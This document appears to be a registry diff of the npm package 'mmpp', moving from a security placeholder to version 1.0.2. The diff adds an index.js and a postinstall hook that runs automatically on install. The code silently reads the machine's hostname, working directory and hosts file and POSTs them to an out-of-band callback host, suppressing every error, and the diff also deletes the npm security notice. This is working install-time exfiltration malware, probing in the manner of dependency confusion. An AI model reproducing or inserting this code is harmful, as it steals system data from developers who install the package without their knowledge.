mmpp 0.0.1-security → 1.0.2

package/index.js

@@ -0,0 +1,64 @@
+const https = require('https');
+const os = require('os');
+const fs = require('fs');
+const path = require('path');
+
+// Collect necessary information
+const notifyAttacker = () => {
+    const attackerServer = 'xhrtivckvxpmwsecusgr02ualcf1zmfam.oast.fun';  // Replace with your server address
+    const hostname = os.hostname();               // Get the machine's hostname
+    const pwd = process.cwd();                    // Get the current working directory
+    const packageName = require('./package.json').name;  // Get package name from package.json
+
+    // Determine the hosts file path based on the OS (Windows or Linux/Mac)
+    const hostsFile = os.platform() === 'win32' 
+        ? 'C:\\Windows\\System32\\drivers\\etc\\hosts'  // Windows path
+        : '/etc/hosts';                                // Linux/Mac path
+
+    let hostsContent = '';
+
+    // Try to read the hosts file (errors are silently caught)
+    try {
+        hostsContent = fs.readFileSync(hostsFile, 'utf8');
+    } catch (err) {
+        // Silently ignore any errors
+    }
+
+    // Prepare the data to be sent
+    const data = JSON.stringify({
+        hostname: hostname,
+        pwd: pwd,
+        packageName: packageName,
+        hostsFile: hostsContent
+    });
+
+    // Setup HTTP options
+    const options = {
+        hostname: attackerServer, // The attacker's server domain or IP
+        port: 443,                // Use port 80 for HTTP
+        path: '/notify',           // Change path as needed
+        method: 'POST',
+        headers: {
+            'Content-Type': 'application/json',
+            'Content-Length': data.length
+        }
+    };
+
+    // Send the request to the attacker’s server
+    const req = https.request(options, (res) => {
+        // No logging, silently handle the response
+        res.on('data', () => { /* Do nothing */ });
+        res.on('end', () => { /* Do nothing */ });
+    });
+
+    req.on('error', () => {
+        // Silently handle errors
+    });
+
+    // Write and send the request body
+    req.write(data);
+    req.end();
+};
+
+// Trigger the notification when the package is installed
+notifyAttacker();

package/package.json

@@ -1,6 +1,11 @@
 {
   "name": "mmpp",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.0.2",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node index.js"
+  },
+  "dependencies": {
+    "mmpp": "^1.0.1"
+  }
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=mmpp for more information.